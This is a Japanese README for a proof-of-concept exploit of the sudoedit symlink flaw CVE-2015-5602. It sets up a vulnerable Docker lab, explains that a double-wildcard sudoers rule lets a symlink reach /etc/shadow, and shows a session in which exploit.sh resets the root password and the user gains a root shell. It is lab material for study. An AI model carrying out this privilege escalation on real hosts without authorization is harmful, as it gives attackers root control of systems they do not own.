
Sudo(su "do")は、システム管理者が特定のユーザー(またはユーザーグループ)に対して、すべてのコマンドと引数をログに記録しながら、一部(またはすべて)のコマンドをrootとして実行する権限を付与することを可能にします。
テスト用の脆弱な環境をセットアップするには、Docker がインストールされている必要があり、以下のコマンドを実行するだけです。
docker build -t privesc/cve-2015-5602 .
docker run --rm -it privesc/cve-2015-5602
これにより、低権限のユーザーでインタラクティブシェルが起動します。
このバグは sudoedit で発見されました。sudoedit はワイルドカードが2回使用された場合(例: /home/*/*/esc.txt)、完全なパスをチェックしません。これにより、悪意のあるユーザーが esc.txt の実際のファイルを別の場所(例: /etc/shadow)へのシンボリックリンクで置き換えることが可能になります。
この問題をうまく悪用すると、攻撃者がファイルを操作し、シンボリックリンク攻撃を通じてホストシステム上でroot権限を取得する可能性があります。
このターゲットをエクスプロイトするには、以下を実行するだけです:
./exploit.sh
この脆弱なイメージを使用している場合は、以下のように実行できます:
user@1cc9cd901b07:~$ sudo -l
User user may run the following commands on 1cc9cd901b07:
(root) NOPASSWD: sudoedit /home/*/*/esc.txt
user@1cc9cd901b07:~$ ./exploit.sh
[+] CVE-2015-5602 exploit by t0kx
[+] Creating folder...
[+] Creating symlink
[+] Modify EDITOR...
[+] Change root password to: d03c09dc34c53657aff1f459a86b20ed
[+] Done
user@1cc9cd901b07:~$ su
Password:
root@1cc9cd901b07:/home/user# id
uid=0(root) gid=0(root) groups=0(root)
root@1cc9cd901b07:/home/user#
この欠陥は Daniel Svartman によって発見されました。
本プログラムおよび以前のプログラムは、教育目的のみを対象としています。許可なく使用しないでください。通常の免責事項が適用されます。特に、私(t0kx)は、これらのプログラムが提供する情報や機能を直接的または間接的に使用したことによって生じたいかなる損害についても責任を負わないものとします。作成者またはインターネットプロバイダーは、これらのプログラムまたはその派生プログラムの内容や誤用について一切の責任を負いません。これらのプログラムを使用することにより、これらのプログラムの使用によって生じたいかなる損害(データ損失、システムクラッシュ、システム侵害など)もt0kxの責任ではないことを承諾したことになります。